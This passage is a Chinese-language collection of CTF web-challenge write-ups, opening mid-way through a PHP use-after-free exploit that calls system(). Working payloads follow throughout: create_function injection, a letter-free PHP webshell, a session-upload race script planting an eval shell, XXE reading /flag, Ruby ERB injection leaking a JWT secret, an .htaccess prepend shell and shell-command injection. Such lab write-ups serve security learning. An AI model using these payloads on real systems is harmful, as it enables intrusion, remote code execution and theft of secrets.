$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}


包含这个文件拿到flag

[BJDCTF2020]EzPHP

进入环境,主页看看有什么突破点,随便点点
看看源代码
发现这个网络威胁实时地图是引用的一个链接的,应该没有什么突破点
这边给了个注释
base64解码不成功
base32解码可行
解码出1nD3x.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

大概看一下代码,需要一步步绕过到达最后,利用$code(‘’,$arg)进行create_function注入
先绕过第一个if

1
2
3
4
5
6
if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

这里介绍了$_SERVER的四个变量传送门
$_SERVER[‘QUERY_STRING’]表示输入的变量以及值
本地测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$s = $_POST['s'];

echo "this is ".$shana."<br>";
echo "this is ".$passwd."<br>";
echo "this is ".$s."<br>";
$queryString = $_SERVER['QUERY_STRING'];
echo $queryString."<br>";
?>

//shana=123&passwd=456 s=789


将GET修改一下,进行url编码

1
?shana=123&passwd=%34%35%36  s=%37%38%39


发现GET传参的时候会对get传的参数进行url编码,但是$_SERVER[‘QUERY_STRING’]却不会。
所以说对于第一个if的所有字母和字符,都可以用url编码进行绕过

再看第二个if

1
2
3
4
5
6
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

先看第二个if
^$表示匹配首尾
由于preg_match这个函数是只能匹配一行的数据,所以我们可以用%0a(换行符)来绕过
这是因为$会忽略换行符
payload

1
?file=1&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a

这里因为debu被第一个if过滤,所以url编码绕过一下

再来看第三个if

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

$_REQUEST在同时接收GET和POST参数时,POST优先级更高

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$s = $_POST['s'];
echo "shana is ".$shana."<br>";
echo "passwd is ".$passwd."<br>";
echo "s is ".$s."<br>";

foreach ($_REQUEST as $key => $value) {
echo "Key: " . $key . ", Value: " . $value . "<br>";
}
?>
//GET输入?shana=123&passwd=456
//POST输入s=789&shana=fake1&passwd=fake2


对于这个if

1
2
3
POST
debu=1&file=2

再看第四个if

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

用data伪协议绕过data://text/plain,debu_debu_aqua

1
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

第五个if

1
2
3
4
5
6
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

sha1()函数无法处理数组,shana和passwd都是数组时都是false$shana[]=1&passwd[]=2
第一个if把shana和passwd过滤了,url编码绕过(GET传参时GET里面参数的[]和连接变量的&还有给变量赋值的=编码后GET传参时不会被解码)

1
%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

最后一个if

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}

看回前面

1
2
3
4
5
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

code与arg的值都为空值,正常情况下是不能修改它们的值的,但由于第五个if中的extract()函数,我们就可以对开头处的两个变量进行操控
本地测试一下

1
2
3
4
5
6
7
<?php
$arg = '';
$code = '';
extract($_GET["flag"]);
echo 'arg= '.$arg."<br>";
echo 'code= '.$code."<br>";
?>


因为$code和$arg可控,利用$code(‘’,$arg)进行create_function注入
$arg=}代码;//,则}闭合了函数,同时//注释了后面的内容
构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

1
%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//


发现最后

1
["ffffffff11111114ggggg"]=> string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333" }

由于第最后一个if处过滤了read所以在这里取反绕过一下

1
echo urlencode(~'php://filter/read=convert.base64-encode/resource=rea1fl4g.php');

用require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
替换刚才的var_dump(get_defined_vars())被编码的部分即可。

最终的代码

1
http://23ae7090-b51b-4e0b-921f-964eaf520e03.node5.buuoj.cn:81/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//

最后用base64编码解码获得flag

[网鼎杯 2020 半决赛]AliceWebsite

先看看源码,没有给任何提示,dirsearch也扫不出除home和about的其它网址
点击About Me发现url变为index.php?action=about.php
把action后面改为flag.php
页面显示file not found
再试试其它的
用伪协议试试

1
?action=php://filter/convert.base64-encode/resource=flag.php

试试/etc/passwd

可以看到结果
传?action=/flag就完成了
看下源码

1
2
3
4
5
6
7
8
9
10
<?php

$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
if (file_exists($action)) {
include $action;
} else {
echo "File not found!";
}

?>

因为有file_exists,所以不能用php://filter/read=convert.base64-encode/resource=flag.php伪协议

[GKCTF 2021]easycms

是一个静态网页,点啥都没有用(除了友链),用dirsearch扫一下

发现有admin.php,成功进入登录页面


题目有提示密码是五位弱口令账号密码为admin/12345
登录进来发现可以交互的内容有很多
直接捡重要的来说

任意文件下载

设计->自定义->导出主题->保存

下载下来的文件右键复制下载链接(谷歌复制不下来,不到在哪,用的是火狐)

1
http://7513b6ee-ccd7-4ed5-94b1-7b5c82cc973b.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=


base64解码后发现theme后面的为文件的绝对路径
我们直接把theme后面替换为/flag,并base64加密

1
http://7513b6ee-ccd7-4ed5-94b1-7b5c82cc973b.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=

下载了一个flag.zip压缩包,不用解压缩也不用打开,直接nodepad++打开或者改.txt后缀

文件上传

同样的页面,点击编辑,类型为php源代码

保存的时候要我先创建一个zlsj文件

创建文件位置在设计->组件->素材库->上传素材

本地创建一个txt文件,内容随意
上传文件后编辑它的名称可导致目录穿越创建文件至system目录


保存修改后可以看到文件路径如上,再返回主题处编辑网页头部插入php

这时候就能保存成功了,返回网站主页查看

成功显示flag

[GXYCTF2019]StrongestMind

既然它说了1000次给flag,那就写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import re
import time

url = 'http://f3f6839b-dc8a-4924-a329-53c9cf8fdd80.node5.buuoj.cn:81/'
data = {"answer": 1}
a = requests.session()


while 1:
b = a.post(url=url, data=data)
b.encoding = 'utf-8'
# print(b.text)
num = re.findall(r'(.*?)<br>', b.text)[6]
print(num)
num1 = eval(num)#可以将字符串转换为算数式
if num1:
data["answer"] = num1
# print(data)
num2 = re.findall(r'(.*?)<br>', b.text)[3]
print(num2)
time.sleep(0.05)
if '第 1001 次成功啦' in b.text:
print(b.text)
break

[SUCTF 2018]GetShell

页面没有什么明显的信息,看看源码
源码中有一个超链接?index.php?act=upload
进入
看到是文件上传
但是先不急着上传,它旁边给了源码

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

大意是获取文件内容,从第6个字符开始比对黑名单
这里要fuzz一下,看看哪些字符可以使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests as res
import time


def check(url, alph):
header = {
'Host': '4ba5c0ca-9a4e-4d1e-9e8e-a5cbdc6fccb9.node5.buuoj.cn:81',
'Content-Type': 'multipart/form-data; boundary=---------------------------37233154152715907679412218478'
}
data = """
-----------------------------37233154152715907679412218478
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

12345{}
-----------------------------37233154152715907679412218478
Content-Disposition: form-data; name="submit"


-----------------------------37233154152715907679412218478--
"""
# 这里因为上传的内容还有上传按钮的值"提交",所以采用encode('utf-8'),但实际上可以去掉"提交"上传,这里也就不需要encode('utf-8')了
response = res.post(url, data=data.format(alph).encode('utf-8'), headers=header)
while response.status_code != 200:
time.sleep(0.3)
response = res.post(url, data=data.format(alph).encode('utf-8'), headers=header)
return response.text


url = "http://4ba5c0ca-9a4e-4d1e-9e8e-a5cbdc6fccb9.node5.buuoj.cn:81/index.php?act=upload"
alphs = ''
for i in range(33, 127):
bak = check(url, chr(i))
if bak.find("illegal", 0) == -1:
print("Can use {}".format(chr(i)))
alphs += chr(i)
else:
print("Cn't use {}".format(chr(i)))
print('[*' + alphs + '*]')

爆出这些字符可以使用

1
$().;=[]_~

可以看到数字即英文字母都被过滤了,这里使用特殊的木马构造方式
一些不包含数字和字母的webshell
这里我们采用取反的方法

用它的方法构造php一句话木马

1
2
3
4
5
6
7
8
<?=
$_=[];//array
$__=$_.$_;//arrayarray
$___=($_==$__);//array==arrayarray 错误为false
$____ = ($_==$_);//array==array相同true
$_____=~(区[$____]).~(冈[$____]).~(区[$____]).~(勺[$____]).~(皮[$____]).~(针[$____]);//system
$______=~(码[$____]).~(寸[$____]).~(小[$____]).~(欠[$____]).~(立[$____]);//_POST
$_____($$______[_]);//system($_POST[_])

去掉换行符和空格

1
<?=$_=[];$__=$_.$_;$___=($_==$__);$____=($_==$_);$_____=~(区[$____]).~(冈[$____]).~(区[$____]).~(勺[$____]).~(皮[$____]).~(针[$____]);$______=~(码[$____]).~(寸[$____]).~(小[$____]).~(欠[$____]).~(立[$____]);$_____($$______[_]);

上面代码构造的语句是system($POST[])
这里不能有空格和换行,空格也是黑名单

这里给了地址,直接进

根目录的flag是个假flag
这里可以使用env显示系统中的环境变量来查看flag

[WMCTF2020]Make PHP Great Again

源码

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

解法一:

这道题没有使用文件包含考点经常出现的include(),而是requir_once(),这个函数的特点是只包含一次,因为刚才是已经require_once ‘flag.php’ 了,不能再次包含,所以需要绕过require_once(),让它检测传入的文件名哈希值既没有重复,又能读到flag.php这个文件

require_once()在对软连接的操作上存在一些缺陷,软连接层数较多会是hash匹配直接失效造成重复包含,超过20次软链接后可以绕过,外加伪协议编码一下

/proc/self/是只想当前进程的/proc/pid/,而/proc/self/root是指向/(根目录)的软链接,所以让软链接层数变多即可造成重复包含

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

解法二:(非预期解)

可以利用PHP_SESSION_UPLOAD_PROGRESS上传文件后进行文件包含:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import io
import requests
import threading
sessid = 'bbbbbbb'
data = {"cmd":"system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://aaf83abf-31f4-4680-b042-6d2a60e9810a.node5.buuoj.cn:81/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://aaf83abf-31f4-4680-b042-6d2a60e9810a.node5.buuoj.cn:81/?file=/tmp/sess_'+sessid,data=data)
if '1.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()

for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

EasyBypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

绕过题,最终要利用system命令,因为file命令打不开文件,只能判别文件的类型,因此我们在comm1中要利用引号和分号来进行命令的控制。
仔细一看可以发现第一个过滤比第二个过滤少,可以发现反向输出tac 头几行输出head 读取文件sort都没有过滤,flag被过滤了,我们可以用模糊匹配来进行替代,因此我们可以利用了
因为第二个过滤里面过滤了分号 双引号 因此我们要在comm1参数里面做文章
构造如下

1
2
3
4
5
6
/?comm1=";sort+/fla?;"&comm2=1
利用第一个分号来将comm1前面的双引号拼接闭合,后面那个分号将后面的闭合
不闭合的话到cmd里面语句会变成
"file";sort……""
闭合后cmd语句应该是
cmd="file;sort+/fla?;"1""

file后面可以加一个index.php,不加也没事,因为分号;不会因为前面的命令执行对错而影响后面的

还有好多可以替代cat的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat /flag
tac /flag
head /flag
tail /flag
more /flag
less /flag
od -c /flag
fmt /flag
rev /flag
tailf /flag
nl /*
1.od /*
2.python执行
s = '0000000 066146 063541 062573 061470 063066 030070 026463 063142 0000020 061065 032055 033071 026460 033070 031546 034455 030471 0000040 061070 060463 030465 031463 076461 000012 0000053'
print(b''.join(int(ss, 8).to_bytes(2, 'little') for ss in s.split()))

都可以看到flag中的内容

[极客大挑战 2020]Roamphp1-Welcome

重新加载了几遍,还是405
去搜搜405是啥意思
得到的结果是
1:请求方法错误,如:post 用了get 请求方式
2:请求的路径根本不对,也会出现405

那么我们post一个参数id
ok页面恢复正常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {

if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}

还以为是sha1碰撞,没啥用,可以用数组绕过,sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

1
2
POST
roam1[]=12&roam2[]=23

在phpinfo里找flag

[CSAWQual 2019]Web_Unagi

本题需要上传一个xml文件
here给出了xml的格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///flag">
]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>&admin;</group>
</user>
</users>

奇怪的是复现的时候同样的代码竟然被拦了,换成utf-16就好了,但是当时这点使用的utf-8的

查了如何绕过WAF保护的XXE的资料:

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。

在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。

可以看到flag显示的不全

这里多了个参数。把它加上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///flag">
]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&admin;</intro>
</user>
</users>

[FireshellCTF2020]Caas

不是很明白是什么编译器
先随便输了点
wp说是c语言编译器
输入

1
2
3
4
5
6
#include <stdio.h>

int main() {
printf("Hello, World! \n");
return 0;
}

下载了一个文件,啥都没有
这里有文件包含
猜测flag应该是以文件形式存在服务器中,尝试使用#include ‘’预处理命令,引入文件/etc/passwd,构造代码:

1
#include '/etc/passwd'


报错提示了应该为双引号


显示了一些,证明存在文件包含

1
#include "/flag"

[SCTF2019]Flag Shop

买flag,reset是重置Jinkela,work是让钱增加一定的数量,这题肯定不可能是这样让钱够的。看一下cookie,发现好像是jwt,解码一下:

jkI是存储在jwt里面的,所以这题很明显是要伪造jwt才能让钱足够来购买flag了。
这题的jwt是HS256算法,尝试了一下无算法,弱密钥爆破等都不行。
转变思路
这题有robots.txt文件,里面指向了一个页面

1
2
User-agent: *
Disallow: /filebak

进入可看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end

get "/" do
redirect '/shop', 302
end

get "/filebak" do
content_type :text
erb IO.binread __FILE__
end

get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
erb :shop
end

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end


def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end

送给chat说这是ruby语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

主要代码是这段
这里有用到erb模板注入

1
2
3
4
5
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

这里要是 SECRET 参数存在则对其进行匹配,匹配到了就输出flag
但这里既然有匹配,就可以用全局变量读出来了,也就是用 $` 来读取匹配前的内容

如果传入的参数do和name一致,则会输出{params[:name][0,7]} working successfully!
使用Ruby的预定义变量$’(最后一次成功匹配右边的字符串)
正常传的话

只要满足了这个if if params[:do] == "#{params[:name][0,7]} is working" then,就会进行模板渲染。
具体参考这个文章【技术分享】手把手教你如何完成Ruby ERB模板注入
但是这题有长度的限制,除去<%=%>,就只剩下2个字符可用了。可以用ruby的预定义变量
预定义变量
使用Ruby的预定义变量$’(最后一次成功匹配右边的字符串)

1
<%=$'%>

构造一下payload

1
/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working

直接用会报错
url编码一下

1
/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

这样secret密钥就出来了,对JWT进行修改加密

对cookie内容替换
值成功改变

buy flag

没有直接回显flag
再买下flag
可以看到cookies的值明显多了

JWT解密一下

[羊城杯2020]easyphp

先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

1
2
3
4
5
6
7
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

除index.php的文件会被删除

还有这一段值得注意

1
2
3
4
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}

这里是取反并不是匹配第一个字符,所以不是换行绕过,这里表示如果匹配除a-z和.外的所有字符都会返回1

本题利用的是file_put_contents这一函数,我们需要通过文件上传一个.htaccess来绕过过滤并执行命令
.htaccess
把.htaccess加载到php文件的前面,这边的话以注释的方法来写shell

1
2
php_value auto_append_file .htaccess
#<?php phpinfo();

虽然过滤了file,但我们可以用\来绕过,#应该是.hatccess文件特有的写入形式,没有的话会直接报错500

1
2
3
php_value auto_prepend_fil\ 
e .htaccess
#<?php system('cat /fla'.'g');?>\

末尾加个\是为了转义\n,如果不加就会变为下面这种,不符合.htaccess的规则

1
2
3
4
php_value auto_prepend_fil\ 
e .htaccess
#<?php system('cat /fla'.'g');?>
Hello, world

再末尾价格反斜杠会把\n前面的\给转义掉,这样就变为了如下这样:

1
2
3
php_value auto_prepend_fil\ 
e .htaccess
#<?php system('cat /fla'.'g');?>nHello, world

payload

1
2
3
?filename=.htaccess&content=php_value auto_prepend_fil\
e .htaccess
#<?php system('ls');?>\

编码一下,如果不编码的话就不在同一行,传的时候不好传,最后的反斜杠后面不能有空格,有空格就转不了\

1
